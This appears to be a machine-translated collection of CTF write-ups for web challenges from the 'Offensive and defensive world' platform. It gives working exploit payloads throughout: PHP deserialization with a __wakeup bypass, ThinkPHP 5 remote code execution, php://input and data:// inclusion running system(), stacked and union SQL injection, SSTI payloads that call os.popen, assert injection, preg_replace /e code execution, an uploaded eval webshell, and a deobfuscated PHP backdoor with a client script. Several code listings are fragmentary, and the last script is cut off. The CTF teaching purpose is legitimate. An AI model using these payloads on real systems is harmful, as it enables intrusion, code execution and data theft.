Offensive and defensive world WEB (1)


16. easytornado

Follow the prompt to guess the index.php page, the page will redirect

bp captures the packet, looks at the response header information, and finds the flag.


According to the title information, check robots.txt and find fl0g.php


According to the topic, it is easy to judge that it should be php deserialization

Construct payload


class xctf{ //Define a class called xctf
public $flag = ‘111’; //Define a public class attribute $flag with a value of 111
public function __wakeup(){ //Define a public class method __wakeup(), exit the current script after outputting bad requests
exit(‘bad requests’);
$test = new xctf(); //Use the new operator to instantiate the object of this class (xctf) as test

Return result:


Construct URL based on wakeup() vulnerability{s:4:%22flag%22;s:3:%22111%22;}

The wakeup() vulnerability is related to the value of the entire attribute. When the serialized string indicates that the value of the number of object attributes is greater than the actual number of attributes, the execution of wakeup will be skipped.

Get flag


class Demo {
private $file =’index.php’;
public function __construct($file) {
$this->file = $file;
function __destruct() {
echo @highlight_file($this->file, true);
function __wakeup() {
if ($this->file !=’index.php’) {
//the secret is in the fl4g.php
$this->file =’index.php’;
if (isset($_GET[‘var’])) {
$var = base64_decode($_GET[‘var’]);
if (preg_match(‘/[oc]:\d+:/i’, $var)) {
die(‘stop hacking!’);
} else {
} else {

According to the topic, it is easy to judge that the topic is php deserialization

Analysis of the question shows:

There are three methods in the class Demo, a construction, a destruction, and a magic method. The constructor construct() assigns initial values ​​to the variables at the beginning of the program execution. The destructor function destruct() will be automatically called after the execution of the function where the object is located, and the file will be highlighted here. Before deserialization is executed, the magic method __wakeup will be executed first, so it needs to be bypassed. When the number of member attributes is greater than the actual number, the wakeup method can be bypassed, and the + sign can be used to bypass the regular matching.

__construct(), called automatically when created, and overwrite $file with the obtained parameters
__destruct(), called when destroyed, will display the code of the file, here to display php
__wakeup(), called during deserialization, will reset $file to php
Question process, accept var variable and base64 decode, match “/[oc]:\d+:/i” (the first letter is o or c, colon, one or more numbers, colon, ignoring case), success prompt stop hacking, failed to deserialize var variables (the newly created Demo object will be destroyed at the end of the program, and __destruct() will be triggered).

Use + to bypass preg_match(). To bypass __wakeup() is to use CVE-2016-7124, such as O:4:”Demo”:2:{s:10:”\0Demo\0file”;s:8: “fl4g.php”;} (normally O:4:”Demo”:1:…), __wakeup( will not be triggered during deserialization

Write payload

class Demo {
private $file =’index.php’;
public function __construct($file) {
$this->file = $file;
function __destruct() {
echo @highlight_file($this->file, true);
function __wakeup() {
if ($this->file !=’index.php’) {
//the secret is in the fl4g.php
$this->file =’index.php’;
$class = new Demo(‘fl4g.php’);
$class_str = serialize($class);
$a = str_replace(‘O:4′,’O:+4’,$class_str);
$a = str_replace(‘:1:’,”:2:”,$a);
$cla = base64_encode($a);

Results of the


Get flag


The bottom layer of the ThinkPHP5 framework does not strictly filter the controller name. Sensitive functions inside the ThinkPHP framework can be called through the URL, which leads to the getshell vulnerability.

According to the prompt on the homepage, you can find that the webpage uses the ThinkPHP framework, the version is 5.1, this version has getshell vulnerabilities (Baidu has a lot of payloads)

Find flag\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20%22flag%22

View flag\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

Get flag


Question code:

echo $_GET[‘hello’];
while (strstr($page, “php://”)) {
$page=str_replace(“php://”, “”, $page);

From the code, we know that this question should be included in the file, and the php pseudo protocol should be used

The strstr() function searches whether the string exists in another string, if so, returns the string and the rest, otherwise it returns FALSE

method one:

You can use PHP’s case conversion, use PHP://input


#executable file
#Reading the file requires base64 encoding of the file name


The use of this protocol is to write the PHP code to be executed in the post and submit it, instead of the key and value form, just write the code.

<?php system(“ls”);?>
<?php system(“cat fl4gisisish3r3.php”);?>


Method Two:

Can use data protocol

data: text/plain,<?php execution content ?>

?page=data://text/plain,<?php system(“ls”);?>
?page=data://text/plain,<?php system(“cat fl4gisisish3r3.php”);?>

Check the source code and find the flag (I thought it was unsuccessful, but I tried it with base64, and later found it in the source code)


Method Three

You can use http:// protocol to bypass

Use the hello parameter to display the execution content, the flag is shown in the figure<?system(“ls”);?><?show_source(“fl4gisisish3r3.php”);?>

Get flag


Add a single quote first, report an error

Then test the –+ comment and find that it is filtered, and then use the # comment, which is feasible. Use the order by statement to determine that there are two fields, and then use the union select to explode the field. The following prompt appears at this time:

return preg_match(“/select|update|delete|drop|insert|where|\./i”,$inject);

Stack injection


1′;show databases;#
1′;show tables;#
1′;show columns from words;#
1′;show columns from `1919810931114514`;# (When the string is the table name operation, add backquotes)

Find the flag, and then need to query

This can be done in various ways

method one:

1′;rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` ʻid` varchar(100);#

The meaning of this code is to change the words table name to words1, 1919810931114514 table name to words, change the flag column name in the current words table to id, and then use 1’or 1=1 #Get flag


Method Two:

payload (after using method one, you have to reopen one before you can try method two)

1′;handler `1919810931114514` open;handler `1919810931114514` read first;#

The syntax of the handler statement is as follows:

HANDLER tbl_name OPEN [[AS] alias]

HANDLER tbl_name READ index_name {= | <= | >= | <|>} (value1,value2,…)
[WHERE where_condition] [LIMIT …]
HANDLER tbl_name READ index_name {FIRST | NEXT | PREV | LAST}
[WHERE where_condition] [LIMIT …]
[WHERE where_condition] [LIMIT …]


Open a table through HANDLER tbl_name OPEN, no results are returned, in fact we have declared a handle named tb1_name here.
Get the first row of the handle through HANDLER tbl_name READ FIRST, and get other rows in turn through READ NEXT. Executing NEXT after the last line is executed will return an empty result.
Use HANDLER tbl_name CLOSE to close the open handle.

If you check through the index, you can get the data in the table in a certain order.
Through HANDLER tbl_name READ index_name FIRST, get the first row of the handle (the row with the smallest index), NEXT gets the next row, PREV gets the previous row, and LAST gets the last row (the row with the largest index).

By specifying a value in the index column, you can specify which row to start from.
Through HANDLER tbl_name READ index_name = value, specify which line to start from, and continue browsing through NEXT.

Get flag


Method three:

Although select and where are filtered here, the SQL statements to be executed can be spliced ​​by executing multiple statements, so that the filtered SQL keywords can be split to bypass the detection

-1′;use information_schema;set @sql=concat(‘s’,’elect column_name from columns wher’,’e table_name=”1919810931114514″‘);PREPARE sql_query FROM @sql;EXECUTE sql_query;–+

Here @ is the meaning of defining a user-defined variable
PREPARE is preprocessing, where the prepared statement must be capitalized, and the format is PREPARE sqlquery from @sqlquery;execute sql_query;

-1’;set @sql=concat(‘s’,’elect flag from `1919810931114514`;’);PREPARE sql_query FROM @sql;EXECUTE sql_query;–-+

Get flag


Check the title and found that the id parameter can only be a number
Use burp to perform integer brute force cracking, select the position as the value of the id parameter, and select the integer type for the payload
Check the response packet after the attack and find that when the id is 2333, the length of the response packet is different, and the flag can be obtained

Check the source code, find source.php, get the source code

class emmm
public static function checkFile(&$page)
$whitelist = [“source”=>”source.php”,”hint”=>”hint.php”];
if (! isset($page) || !is_string($page)) {
echo “you can’t see it”;
return false;

if (in_array($page, $whitelist)) {
return true;

$_page = mb_substr(
if (in_array($_page, $whitelist)) {
return true;

$_page = urldecode($page);
$_page = mb_substr(
if (in_array($_page, $whitelist)) {
return true;
echo “you can’t see it”;
return false;

if (! empty($_REQUEST[‘file’])
&& is_string($_REQUEST[‘file’])
&& emmm::checkFile($_REQUEST[‘file’])
) {
include $_REQUEST[‘file’];
} else {
echo “<br><img src=\”\” />”;

mb_strpos(): Returns the position of the first occurrence of the string to be found in another string

mb_strpos (haystack ,needle)

haystack: The string to be checked.

needle: The string to be searched.

mb_substr(str,start,length) function returns part of the string

Returns the extracted part of the string, or FALSE if it fails, or an empty string

Check hint.php and find

flag not here, and flag in ffffllllaaaagggg

(Some people say that this indicates that the flag is in this file, and the file name implies the use of a four-level directory, master)

Code audit found that four conditions need to be met

Require $page to be a string
$page needs to exist in the $whitelist array
Intercept the part before the first occurrence in the passed parameter? Determine whether the part exists in the $whitelist array, and return true if it exists
First url-decode the constructed payload, then intercept the part before the first occurrence in the passed parameter, and judge whether the part exists in the $whitelist, and return true if it exists
If one of the above four is satisfied, it will return true, if none of them are satisfied, it will return false

We use the third if statement to construct the parameters:
The first? means passing parameters, the second? is used to satisfy interception

Of course, this question can also construct a payload based on interception

%25 is decoded as %, and %3f is decoded as?


Finally get flag


Simple SQL injection, read the information_schema metadata, and then read the flag.

‘order by 3#
‘order by 4#
‘union select 1,2,3#
‘union select 1,database(),3#
‘union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
‘union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’news’#
‘union select 1,group_concat(id),group_concat(title,content) from news#
‘union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’secret_table’#
‘union select 1,group_concat(id),group_concat(fl4g) from secret_table#

Get flag


The title gave an attachment web100, found that it is roughly the front-end code, open it with a browser


Change eval to alert

function $() {
var e = document.getElementById(“c”).value;
if (e.length == 16) if (e.match(/^be0f23/) != null) if (e.match(/233ac/) != null) if (e.match(/e98aa$/)! = null) if (e.match(/c7be9/) != null) {
var t = [“fl”, “s_a”, “i”, “e}”];
var n = [“a”, “_h0l”, “n”];
var r = [“g{“, “e”, “_0”];
var i = [“it'”, “_”, “n”];
var s = [t, n, r, i];
for (var o = 0; o <13; ++o) {
document.write(s[o% 4][0]);
s[o% 4].splice(0, 1)
document.write(‘<input id=”c”><button onclick=$()>Ok</button>’);
delete _

Run part of the code behind the judgment to get the flag


Get the source code

function encode($str){
// echo $_o;

return str_rot13(strrev(base64_encode($_)));

Reverse encryption algorithm, decrypt $miwen is the flag

Reverse the encryption algorithm and decrypt the given string to get the flag
Simply audit the code and write the reverse code

$_o=strrev($str); Reverse the characters of the $str string (for example, abc = cba)
The second part for{……} is to add +1 to each character of the $str string (eg: a=b, c=d)
return str_rot13(strrev(base64_encode($_))); The parentheses have priority, which has the highest priority, so in order: base64encode first base64 encrypt the string after the for loop, strrev reverses the string, strrot13 Perform ROT13 encoding on the string, and the return value is: $miwen
The str_rot13() function performs ROT13 encoding on a string.

Write decryption code: define a decode method to sequentially decode the string with ROT13 -> string inversion -> base64 decryption -> for{……} minus one for each character -> string inversion -> output flag

$_ = base64_decode(strrev(str_rot13($str)));

echo strrev($_o);

Get falg


Open the topic, the homepage only has Can you anthenticate to this website?

Blindly guess index.php and find that there is still nothing. Scan the website directory and find index.phps

not allowed!

“); exit();} $_GET[id] = urldecode($_GET[id]); if($_GET[id] == “admin”) {echo ”

Access granted!
“; echo ”

Key: xxxxxxx
“;} ?> Can you anthenticate to this website?

You need to pass in an id and the value of this id after URL decoding is admin. It should be noted here that when we enter admin in the browser, the browser will decode the url once for admin, so url encoding for admin needs to be performed twice Just




Get falg


The simplest file upload, after uploading, capture the package and modify the suffix name, check the flag after the chopper is connected


The page directly points to python template injection

Construct payload

#Read directory
#Read file

Or use command execution to read flag

{{request[‘__cl’+’ass__’].__base__.__base__.__base__[‘__subcla’+’sses__’]()[60][‘__in’+’it__’][‘__’+’glo’+ ‘bal’+’s__’][‘__bu’+’iltins__’][‘ev’+’al’](‘__im’+’port__(“os”).po’+’pen(“ls”). re’+’ad()’)}}

Get falg


16. easytornado
Check the page to find the flag in /fllllllllllllag

View hints.txt to find information md5(cookie_secret+md5(filename))

Analysis: The filehash in the url is md5(cookie_secret+md5(filename))

The payload can be constructed as: file?filename=/fllllllllllllag&filehash=********************

The filename is already known, only filehash is missing.

Direct input /fllllllllllllag try, the url redirect page displays error

./welcome.txt page sees render, it may be SSTI template injection

SSTI template injection details:

First try to directly modify the file name to /fllllllllllllag in the url of flag.txt, and find that there are two parameters in the error report

Pass error?msg={{2}}, the page appears 2

Try {{2*2}}, return to ORZ, and find that most of the words have been filtered

…………Think of the topic Tornado, try the payload


Get cookie

cookie_secret’: ‘968e1b79-9b4a-4b26-ae5f-093159b5127d’

Construct payload

import hashlib
import requests

def md5(str):
m = hashlib.md5()
return m.hexdigest()

url = “″
filename =’/fllllllllllllag’
secret = ‘968e1b79-9b4a-4b26-ae5f-093159b5127d’

filehash = md5(secret + md5(filename))

urll = F”{url}/file?filename={filename}&filehash={filehash}”
response = requests.get(urll)

Get flag


Enter the topic and find a Python code

import flask
import os

app = flask.Flask(__name__)
app.config[‘FLAG’] = os.environ.pop(‘FLAG’)
def index():
return open(__file__).read()

def shrine(shrine):
def safe_jinja(s):
s = s.replace(‘(‘,”).replace(‘)’,”)
blacklist = [‘config’,’self’]
return”.join([‘{{% set {}=None%}}’.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))

if __name__ ==’__main__’:

Flask’s SSTI under /shrine/ filters the payload, replaces the parentheses, replaces (and) with empty strings, and adds config and self to the blacklist

Construct payload


current_app, this is the global variable proxy, just check his config

Get falg


First, collect information, scan the file directory, and get

login.php view.php robots.txt flag.php

Found a /user.php.bak in robots.txt and found the source code of user.php

flag.php content is empty

Starting from login.php and view.php, open it and find the path /var/www/html/view.php

Get the path of falg.php as /var/www/html/falg.php

Register normally, log in, check the account and find view.php?no=1

Try to inject

view.php?no=1 and 1=1#
view.php?no=1 and 1=2#
view.php?no=1 order by 3#
view.php?no=1 order by 4#
view.php?no=1 order by 5#
view.php?no=2 union select 1,2,3,4#
#Found to be restricted, try to bypass
view.php?no=2 union/**/select 1,2,3,4#
view.php?no=2 union++select 1,2,3,4#
view.php?no=2 union++select 1,user(),3,4#
view.php?no=2 union++select 1,database(),3,4#
view.php?no=2 union/**/select 1,load_file(“/var/www/html/flag.php”),3,4#

Found falg


According to the title prompt, find the git code leaked, use githack to download the leaked code

Found flag.php, but there is nothing in it, analyze index.php


if (isset($_GET[‘page’])) {
$page = $_GET[‘page’];
} else {
$page = “home”;
//Get a page variable by get, if not, set it to home

$file = “templates/”. $page. “.php”;
//Splice the page variable into a php file under templates and set it as the variable file

// I heard’..’ is dangerous!
assert(“strpos(‘$file’,’..’) === false”) or die(“Detected hacking attempt!”);
//Determine whether there is “..” in the file, and exit directly if there is
// TODO: Make this look nice
assert(“file_exists(‘$file’)”) or die(“That file doesn’t exist!”)


The ssert() function will execute the characters in the brackets as code and return true or false.
The strpos() function returns the position of the first occurrence of the string, or False if it is not found

Construct payload

page=abc’) or system(“cat templates/flag.php”);//

Check the source code and find the flag


Open the page, there is an input box to enter the domain name, enter com to test, find that there is no echo, enter to test, find that the execution has been successful, and the execution is a ping command. At the beginning, I thought it should be command splicing execution. But entering any string about splicing will prompt invalid url
Most of the symbols are blocked, the only gain is that the website uses URL encoding that can be passed in, and you can enter different URL encoding values ​​at will. When the boundary value %80 is entered, the system will report an error
The error message is a piece of html code, copy these codes and open it. Seeing the familiar django error page, it seems that the input parameters are passed to the back-end django service for parsing, and django sets the encoding to gbk, which leads to incorrect encoding of wide characters (exceeding the ascii code range).
Combined with the error report of django, I learned that the absolute path of the project is /opt/api. Baidu should add @input@/opt/api/api/ to find the method.
Same as above, the error message has been opened in the html file, you can see some sensitive information, continue to query @/opt/api/database.sqlite3, search for CTF in the error message to get flag
flag is


A simple test found that there is injection in the password retrieval function, but the order by cannot be used. Use union select 1,2 directly…

After testing, it is found that the target has four columns, and the third column has an echo

‘union select 1,2,group_concat(schema_name),4 from information_schema.schemata;#
‘union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema =’cetc004’#
‘union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name =’user’#
‘union select 1,2,group_concat(username),4 from cetc004.user#
‘union select 1,2,group_concat(password),4 from cetc004.user#
‘union select 1,2,group_concat(question),4 from cetc004.user#
‘union select 1,2,group_concat(answer),4 from cetc004.user#

The md5 of the password can be obtained, but it cannot be solved

Analyzing the request package for changing the password, it is found that there is no username, only the answer and the password

It is guessed that the function of resetting the password is realized by using the session, and the session is bound to the user name, so we can construct a SQL statement so that the user name in the query is the user name of the administrator, but the secret protection question and answer are our own If specified, the password can be successfully reset: 1’union select’c3tlwDmIn23′,’202cb962ac59075b964b07152d234b70′,’1’,’2’#

Among them, 202cb962ac59075b964b07152d234b70 is the encrypted value of 123 md5.

Then update the password. Get flag after entering


Exploring the webpage, scanning the entry directory and finding /index.php/login/?page=index, try to read the file content using the php protocol


Input base64 decoding to get the key code

//Convenient realization of input and output functions, functions under development can only be tested by internal personnel

if ($_SERVER[‘HTTP_X_FORWARDED_FOR’] === ‘’) {

echo “<br >Welcome My Admin! <br >”;

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);

There is a pregreplace function here, try to test whether there is a command injection vulnerability
Function: Search for the part that matches the pattern in the subject and replace it with replacement.
What is obviously examined here is that the pregreplace function uses the /e mode, which causes code execution problems. In other words, if the pat value is the same as the sub value, the code of rep will be executed.

After XFF is changed to, GET comes in with three parameters. The preg_replace function is called here. And the pat is not filtered, so you can pass in “/e” to trigger the vulnerability, and the replacement statement will be executed after the trigger.


/index.php?pat=/test/e&rep=system(“find / -name flag”)&sub=test



Get falg


First, perform a normal directory scan and find that the git code is leaked. Use githack to download the code and find api.php

function buy($req){

$money = $_SESSION[‘money’];
$numbers = $req[‘numbers’];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
switch ($same_count) {
case 2:
$prize = 5;
case 3:
$prize = 20;
case 4:
$prize = 300;
case 5:
$prize = 1800;
case 6:
$prize = 200000;
case 7:
$prize = 5000000;
$prize = 0;
$money += $prize-2;
$_SESSION[‘money’] = $money;

function flag($req){
global $flag;
global $flag_price;

$money = $_SESSION[‘money’];
if($money <$flag_price){
response_error(‘you don\’ have enough money’);
} else {
$money -= $flag_price;
$_SESSION[‘money’] = $money;
$msg =’Here is your flag: ‘. $flag;

Reading the source code we found that

Requests are in json format, and compare the lottery numbers with the user numbers using == weak comparison, and it is a bit by bit comparison

Due to the use of PHP weak type comparison, TRUE, 1, and “1” are all equal and equal, that is, true is weakly equal to strings and numbers. Moreover, because json supports boolean data, then a string of arrays [true,true,true,true,true,true,true] can be constructed and passed in,

Construct payload


Get flag


Scan the directory to find, admin.php, login.php

First check admin.php, only found do not even try to bypass this

Check login.php and find TODO: Remove ?debug-Parameter!


Found the source code

Try to inject SQLite3::query(): Unable to prepare statement: 1, unrecognized token: “#” in /var/www/html/login.php on line 47

Construct payload according to source code

‘union select name,sql from sqlite_master–+

Then query to the Set-Cookie field in the returned packet

id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)

Query other data

usr=%27 UNION SELECT id, id from Users limit 0,1–+&pw=chybeta
usr=%27 UNION SELECT id, name from Users limit 0,1–+&pw=chybeta
usr=%27 UNION SELECT id, password from Users limit 0,1–+&pw=chybeta
usr=%27 UNION SELECT id, hint from Users limit 0,1–+&pw=chybeta

Return result


The password of the query statement in the source code above is sha1 for the password + salt. If we log in, we should use the sha1 function and salt to find out the password. The hint of admin is +my+fav+word+in+my+fav+paper ?!, will the password be hidden in the pdf file?

Crawl all the pdf files in the site, a total of 30, and then use the script to analyze and process, and use the sha1 function to collide with the encrypted password to find the correct password. Take the script of the boss:

from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib

def get_pdf():
return [i for i in os.listdir(“./”) if i.endswith(“pdf”)]

def convert_pdf_2_text(path):
rsrcmgr = PDFResourceManager()
retstr = StringIO()
device = TextConverter(rsrcmgr, retstr, codec=’utf-8′, laparams=LAParams())
interpreter = PDFPageInterpreter(rsrcmgr, device)
with open(path,’rb’) as fp:
for page in PDFPage.get_pages(fp, set()):
text = retstr.getvalue()
return text

def find_password():
pdf_path = get_pdf()
for i in pdf_path:
print “Searching word in “+ i
pdf_text = convert_pdf_2_text(i).split(” “)
for word in pdf_text:
sha1_password = hashlib.sha1(word+”Salz!”).hexdigest()
if sha1_password == ‘3fab54a50e770d830c0416df817567662a9dc85c’:
print “Find the password :” + word

if __name__ == “__main__”:

The password for running out of admin is: ThinJerboa

Get flag


When I entered the interface, I found that there were registration, login, and forgot password functions. I tried to inject the login interface and found that it did not seem to be injected, but when I logged in with admin, I found that the user exists. Guess the use of the forget password function to modify the admin password.

Register normally, and then forget the password. After the information is correct, when the new password is entered, the packet is captured and found that there are two parameters: user name and password. Modify the admin password and enter the interface.

The management interface shows that the ip is incorrect, construct the XFF request header, bypass the restriction, and find a url


After testing, it is found that the action is upload.

Upload pictures and construct payload

<script language=”php”>system(“ls”);</script> XXX.php5

Found flag


Check the page normally, find index.php, check view-source, conduct code audit


if (!isset($_GET[page])) {

if (isset($_GET[page]) && $_GET[page] !=’index.php’) {
}else {
header(‘Location: ?page=flag.php’);

if ($_SESSION[‘admin’]) {
$con = $_POST[‘con’];
$file = $_POST[‘file’];
$filename = “backup/”.$file;

if(preg_match(‘/.+\.ph(p[3457]?|t|tml)$/i’, $filename)){
die(“Bad file extension”);
$f = fopen($filename,’w’);
fwrite($f, $con);

if (isset($_GET[id]) && floatval($_GET[id]) === ‘1’ && substr($_GET[id], -1) === ‘9’) {
$id = mysql_real_escape_string($_GET[id]);
$sql=”select * from cetc007.user where id=’$id'”;
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;

if(!$result)die(“<br >something wae wrong! <br>”);
echo “id: “.$result->id.”</br>”;
echo “name:”.$result->user.”</br>”;
$_SESSION[‘admin’] = True;

The general idea is to make $_SESSION[‘admin’] = True when the id meets the third paragraph of code. Then provide con and file in POST mode. When the file meets the conditions, the content of con will be written into uploaded /backup /filename. Include this file in the first paragraph, you can get flag.php

First construct view-source.php?page=1

Enter a place to submit page parameters and id parameters. Bypass according to the third code

I found the source code floatval($_GET[id]) !== ‘1’ is a bit problematic, it should be ===

Construct payload

id = 1 9 / id = 1-9 /id = 1’or ‘9’=’9

Get id=1 name=admin, continue to construct, when performing regular matching according to the obtained file suffix, only the content after the last. Will be matched, so bypass through php/.

con=<?php @eval($_POST[‘pass’]);?>&file=shell.php/.

L use the ant sword link to find the flag


After entering, the normal test, no results, use dirsearch to scan the directory and found


Enter the registration interface to register an account, log in to the interface, find that the user name will be displayed on the page after logging in, and suddenly think of secondary injection

Construct payload

0’+ascii(substr((select * from flag) from 1 for 1))+’0


def getFlag(inject_page, show_page):
flag =”
for i in range(40):
data_flag = {
‘username’:”0’+ascii(substr((select * from flag) from “+str(i+1)+” for 1))+’0″,
html=response.text #Returned page
getUsername=soup.find_all(‘span’)[0]#Get username
if int(username)==0:
return flag

print(getFlag(inject_page, show_page))

Get falg


There are three interfaces in the station written in Perl.

Go directly to upload, just upload a file first.
He returned the uploaded file content and guessed the background source logic

use strict;
use warnings;
use CGI;
my $cgi = CGI->new;
if ($cgi->upload(‘file’)) {
my $file = $cgi->param(‘file’ );
while (<$file>) {print “$_”;}

The param() function will return a list of files but only the first file will be put into the file variable below. If we pass in an ARGV file, Perl will read the passed parameters as the file name. In this way, our use method appears: add a file upload item ARGV in front of the normal upload file, and then pass in the file path parameter in the URL, so that any file can be read.

The payload is:


Through the way of pipeline, execute any command, and then pipe the output result to the read-in stream, so that the location of the flag file can be guaranteed. Here, ${IFS} is used to split the command. The principle is to change the result into the equivalent form of bash -c “ls/”. Finally get the flag

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=—————————121949621324004369911858695883
Content-Length: 485
DNT: 1
Connection: close
Cookie: user=4b9987ccafacb8d8fc08d22bbca797ba
Upgrade-Insecure-Requests: 1

Content-Disposition: form-data; name=”file”;
Content-Type: text/plain

Content-Disposition: form-data; name=”file”; filename=”test.txt”
Content-Type: text/plain

Content-Disposition: form-data; name=”Submit!”


Get falg


Entering the web page is a login interface, the test injection fails, and a regular directory scan is performed to get


Next check one by one:

/admin/?/login please continue
/admin/admin.php You need to log in!
/admin/index.php please continue
There may be a problem with the /hint.php configuration file: /etc/nginx/sites-enabled/site.conf
/robots.txt hint.php Hack.php
/Hack.php Please log in!

Start with its prompt interface Hack.php, take a look at the package, and find that the parameter isLogin=0, modified to 1.

A new interface appears, capture the packet and observe that when you click the management center, the url appears?file=index&ext=php

Try to read the file, find that ../ is filtered, use double writing to bypass, and then read site.conf



server {
listen 8080;
## listen for ipv4;
this line is default and implied listen [::]:8080;
## listen for ipv6 root /var/www/html;
index index.php index.html index.htm;
port_in_redirect off;
server_name _;
# Make site accessible from http://localhost/ #server_name localhost;
# If block for setting the time for the logfile if ($time_iso8601 ~ “^(\d{4})-(\d{2})-(\d{2})”) {set $year $1;
set $month $2;
set $day $3;
# Disable sendfile as per sendfile off;
set $http_x_forwarded_for_filt $http_x_forwarded_for;
if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
set $http_x_forwarded_for_filt $1???;
# Add stdout logging access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
error_log /var/log/nginx/error.log info;
location / {
# First attempt to serve request as file, then # as directory, then fall back to index.html try_files $uri $uri/ /index.php?q=$uri&$args;
server_tokens off;
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
location ~ \.php$ {
try_files $uri $uri/ /index.php?q=$uri&$args;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
location ~ /\. {
log_not_found off;
deny all;
location /web-img {
alias /images/;
autoindex on;
location ~* \.(ini|docx|pcapng|doc)$ {
deny all;
include /var/www/nginx[.]conf;

location /requestpath/image/ {
alias /localpath/image/;

At this time, when the client requests /requestpath/image/cat.png,
Nginx maps the request to /localpath/image/cat.png

It is found that the root directory can be accessed through /web-img, and the directory traversal is performed according to the alias replacement rules.

Visit /web-img../var/www/ and find hack.php.bak

Get the following code:

$U=’_/|U”,”/-/|U”),ar|Uray|U(“/|U”,”+”),$ss(|U$s[$i]|U, 0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle’;
$q=’s[|U$i]=””;$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s) ){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui’;
$M=’l=”strtolower|U”;$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss (|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$’;
$z=’r=@$r[|U”HTTP_R|UEFERER|U”];$r|U|Ua=@$r[“HTTP_A|U|UCCEPT_LAN|UGUAGE|U”];if|U($ r|Ur&|U&$ra){$u=parse_|Uurl($r’;
$k=’?:;q=0.([\\|Ud]))?,|U?/”,$ra,$m)|U;if($|Uq&&$m){|U|U |U@session_start()|U|U;$s=&$_SESSIO|UN;$ss=”|Usubst|Ur”;|U|U$s’;
$o=’|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++) {$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r’;
$N=’|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas |U|Ue64_decode(preg|U_repla|Uce(|Uarray(“/’;
$C=’an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut(“|U<$k>$d </$k>”|U);@ses|U|Usion_des|Utroy();}}}}’;
$j=’$k|Uh=”|U|U42f7″;$kf=”e9ac”;fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k); $l=s|Utrl|Ue|Un($t);$o=|U””;fo|Ur($i=0;$i<‘;
$J=’kf|U),|U0,3));$p=”|U”;for(|U|U$|Uz=1;$z<cou|Unt|U($m[1] );|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U== =0){$’;
$x=’r)|U;pa|Urse|U_str($u[“qu|U|Uery”],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al |Ul(“/([\\|U|Uw])[|U\\w-]+|U(‘;

It seems to be the php code after obfuscation, output $F to get the code

function x($t,$k) {
for ($i=0;$i<$l;) {
for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
$o.=$t {
^$k {
return $o;
if($rr&&$ra) {
if($q&&$m) {
for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
if(strpos($p,$h)===0) {
if(array_key_exists($i,$s)) {
if($e) {
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array(“/_/”,”/-/”),array(“/”,”+”),$ss($s[$i], 0,$e))),$k)));

This is a backdoor page, and I found related tutorials on the Internet:
Analysis of a PHP confusion backdoor
The modified script according to the title (modified the key and url) is as follows:

# encoding: utf-8

from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re

def choicePart(seq,amount):
length = len(seq)
if length == 0 or length <amount:
print’Error Input’
return None
result = []
indexes = []
count = 0
while count <amount:
i = randint(0,length-1)
if not i in indexes:
count += 1
if count == amount:
return result

def randBytesFlow(amount):
result =”
for i in xrange(amount):
result += chr(randint(0,255))
return result

def randAlpha(amount):
result =”
for i in xrange(amount):
result += choice(string.ascii_letters)
return result

def loopXor(text,key):
result =”
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt <lenTxt:
iKey = 0
